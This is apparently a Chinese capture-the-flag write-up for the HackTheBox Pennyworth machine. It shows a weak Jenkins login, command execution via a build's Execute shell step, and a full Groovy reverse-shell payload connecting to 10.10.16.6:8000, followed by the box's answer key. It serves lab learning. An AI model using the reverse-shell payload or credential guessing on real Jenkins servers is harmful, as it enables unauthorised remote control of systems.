HTB_Pennyworth 靶机之命令&代码执行与反弹shell

本次通过分析 jenkins 组件学习渗透测试流程,最终通过代码执行漏洞拿到 shell

文章目录

    • 信息收集
    • 弱口令
    • 功能分析
      • 搜索
      • 添加文本
      • 姓名配置
      • api令牌
      • ssh公钥
      • build
      • node
    • 命令执行
    • 代码执行与反弹shell
      • 反弹shell
      • 关于payload
    • 答案

信息收集

日常扫描,nmap -sV -v ,发现开放 8080 端口

HTB_Pennyworth 靶机之命令&代码执行与反弹shell_第1张图片

Jenkins是一个独立的开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能
持续集成:简单来说,有时候做项目,各个模块单独测试时都是能用的,但是上线前将所有模块集成到一起之后跑不通了,此时修改就为时晚矣,所以在模块开发时,就尽早将模块整合,持续不断的集成新模块进行测试,尽早发现问题,这是开发过程中项目管理所提倡的一种方法实践

正常开发人员提交代码后要经历-> 检出(从代码库下载代码到本地)-> 打包 ->部署 几个步骤,而有了集成工具,只需要提交,剩下的都可以交由 Jenkins 帮我们去做,直接就能在服务器看到修改

在网上能搜索到很多 Jenkins (Jenkins-w3cschool) 的公开漏洞,但是我们并不清楚该应用具体的版本信息,如果要有该应用所有的漏洞的一键综合利用工具就好了,可惜没找到

弱口令

我个人是十分讨厌弱口令这个东西的,只看管理员的安全意识,回报率低

暴破后,根据 Length 排序,账号密码为 root:password

在这里插入图片描述

HTB_Pennyworth 靶机之命令&代码执行与反弹shell_第2张图片

右下角可以看到版本为 2.289.1 ,首先可以熟悉一下它的功能,由于英语实在不好,装了 chrome ,翻译方便一点

功能分析

我们在此阶段的目的是了解应用程序有哪些接口,哪里能控制输入,输入如何处理,结果如何输出…毕竟很大一部分漏洞都是由于不安全的输入引起的,我们关注的重点也是能否利用,而不是真的精通软件的使用

说明文档:https://www.jenkins.io/doc/book/using/

搜索公开的漏洞复现也是比较省力的利用方式 cve搜索 ,并不是特别全

HTB_Pennyworth 靶机之命令&代码执行与反弹shell_第3张图片

msf 中有 13 条相关脚本 search jenkins

HTB_Pennyworth 靶机之命令&代码执行与反弹shell_第4张图片

也可以在搜索引擎搜索 jenkins 漏洞并尝试复现

HTB_Pennyworth 靶机之命令&代码执行与反弹shell_第5张图片

我们的目的是能访问目标主机的 flag,当然不是所有的漏洞都适合这个场景,比取消项目构建,触发LDAP查询,用户枚举等等,比较合适的就是文件包含&命令执行&代码执行漏洞,最好是直接获取shell的那种,而且有的漏洞没有分析没有利用方式或工具,别说没工具就算有工具都不一定会用,更大可能连是什么漏洞都看不懂…

当然,本次不会尝试去复现漏洞

搜索

search搜索功能 :一般是接收参数拼接 sql 语句,进行数据库查询,并将结果返回到前端页面,在 pikachu 靶场接触过,因为是在前端页面显示,所以也可以测试 xss

HTB_Pennyworth 靶机之命令&代码执行与反弹shell_第6张图片

添加文本

导航条第二个就是用户管理功能

HTB_Pennyworth 靶机之命令&代码执行与反弹shell_第7张图片

status:显示用户角色 ID,还可以添加描述,描述的数据会输出到页面,

标签包裹,测试 xss,但是并没有弹窗啊,我们翻阅说明文档,发现它使用了 Content Security Policy(CSP) 内容安全策略,这是专门为了防止 XSS 注入的,没有看到响应头或 meta 标签有相应设置,看源码是符号被转义了

在这里插入图片描述

摘自阮一峰博客:

CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。

CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机

不仅可以限制各种资源如 js脚本、图片等的加载,也可以限制 url 的引用,当然,CSP 也不是万能的,可以在某些情况下被绕过,如 我的CSP绕过思路及总结-先知社区

姓名配置

build 选项应该是先在其他地方配置之后才能在这里操作 ,先略过 ,看configure

HTB_Pennyworth 靶机之命令&代码执行与反弹shell_第8张图片

改名字的地方,名字这种信息应该会在数据库存储,然后在前端页面显示,也是涉及到 sqlxss这两个漏洞

描述就不说了,和刚才一样

api令牌

jenkinsapi 令牌

HTB_Pennyworth 靶机之命令&代码执行与反弹shell_第9张图片

这个令牌的作用是调用 api 时方便身份验证的,如果使用账号密码被认为是不安全的,这些令牌的生成过程中我们能替换吗?身份认证相关的功能存在越权的可能比较大吧

下面的几个就不介绍了,看过了几个模模糊糊有一些套路了,感觉这个功能没什么值得看,当然这种东西都是靠个人水平的,有什么我也看不出来

ssh公钥

ssh 公钥主要是免密登录使用,和api 令牌同样是为了安全与方便

SSH 密钥登录分为以下的步骤

预备步骤,客户端通过 ssh-keygen 生成自己的公钥和私钥

第一步,手动将客户端的公钥放入远程服务器的指定位置

第二步,客户端向服务器发起 SSH 登录的请求

build

my views 和主界面差不多,先前在翻阅资料时,都会提到构建 build 功能,我们点进去 Groovy Script ,有一个 workspace 文件夹,这个文件夹就是存放项目代码的

HTB_Pennyworth 靶机之命令&代码执行与反弹shell_第10张图片

同样的,我们点击主页面 New item 新建一个项目,输入名字,选择项目类型,随便选第一个自由风格项目,确认

HTB_Pennyworth 靶机之命令&代码执行与反弹shell_第11张图片

General 部分是项目的基本配置

HTB_Pennyworth 靶机之命令&代码执行与反弹shell_第12张图片

Source Code Management 是源代码管理,这种直接执行代码的环境感觉非常不安全,应该是都在沙箱环境,但是也有绕过的一些情况

HTB_Pennyworth 靶机之命令&代码执行与反弹shell_第13张图片

Build Triggers 构建触发器,意思是在什么条件触发构建任务,比如提供一个接口远程构建,或者定时构建,或者代码更改时构建等等

HTB_Pennyworth 靶机之命令&代码执行与反弹shell_第14张图片

Build Enviroment 构建环境,一些配置选项,比如每次构建删除旧代码等

HTB_Pennyworth 靶机之命令&代码执行与反弹shell_第15张图片

BuildExecute shell 就是执行 shell 命令,我们可以尝试写一个 whoami 执行

HTB_Pennyworth 靶机之命令&代码执行与反弹shell_第16张图片

Post-build Actions 就是构建后的操作,比如生成报告

HTB_Pennyworth 靶机之命令&代码执行与反弹shell_第17张图片

Build Now 然后乱点一通,在点进像是太阳图标的东西后,发现 shell 命令的输出结果

HTB_Pennyworth 靶机之命令&代码执行与反弹shell_第18张图片

node

在左下角 Build Executor Status 有一个构建执行器动态,这是 jenkins 的架构方式

Master/Slave相当于Server和agent的概念。Master提供web接口让用户来管理job和slave,job可以运行在master本机或者被分配到slave上运行。一个master可以关联多个slave用来为不同的job或相同的job的不同配置来服务

HTB_Pennyworth 靶机之命令&代码执行与反弹shell_第19张图片

master 一般就是 jenkins 的服务器,里面有一个 Script Console 脚本控制台功能,可以写 groovy 脚本

HTB_Pennyworth 靶机之命令&代码执行与反弹shell_第20张图片

其它的暂时没什么了,看不懂高级用法

命令执行

Execute shell 处添加命令查看 flag ,ls -a

ls -a
.
..

我们到根目录下查看,怎么改自己研究吧,很简单,点点就行

cd /root
ls -a

HTB_Pennyworth 靶机之命令&代码执行与反弹shell_第21张图片

cat flag.txt

代码执行与反弹shell

反弹shell

groovy 是一种 java 扩展语言,java 我们大致了解过皮毛,可以在idea新建项目,经过简单调整格式,本地测试可以运行,String cmdshell 模式,在 win 下是 cmd.exe ,在linux下是/bin/bash

String host="10.10.16.6";
int port=8000;
String cmd="cmd.exe";
//ProcessBuilder创建操作系统进程
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed())
{while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());
    while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try
{p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

我们在攻击机使用 nc 监听端口,等待目标机器建立连接获取 shell ,这个是说将目标机器的执行结果发送到攻击机上

HTB_Pennyworth 靶机之命令&代码执行与反弹shell_第22张图片

在靶场脚本控制台执行,获得了 shell

HTB_Pennyworth 靶机之命令&代码执行与反弹shell_第23张图片

不知道为什么是这样没有前面的类似的盘符路径什么的,但是也不影响

HTB_Pennyworth 靶机之命令&代码执行与反弹shell_第24张图片

关于payload

在上面的 payload 中使用了 socket 连接,所谓socket连接,是指网络上的两个程序通过一个双向的通信连接实现数据的交换,这个连接的一端称为一个socket

Server 端 Listen 监听某个端口是否有连接请求

Client 端向 Server 端发出连接请求

Server 端向 Client 端发回 Accept 接受消息 这样一个连接就建立起来了

Server 端和 Client 端都可以通过 Send,Write 等方法与对方通信

所以才可以实现命令与结果的互相传递吧

创建 Socket

打开连接到 Socket 的输入输出出流

按照一定的协议对 Socket 进行读/写操作

关闭 Socket

答案

Common Vulnerabilities and Exposures
confidentiality, integrity, availability
Jetty 9.4.39.v20210325
2.289.1
Groovy
cmd.exe
ifconfig
-u
reverse shell

你可能感兴趣的:(#,startpoint,jenkins,运维,安全,网络安全)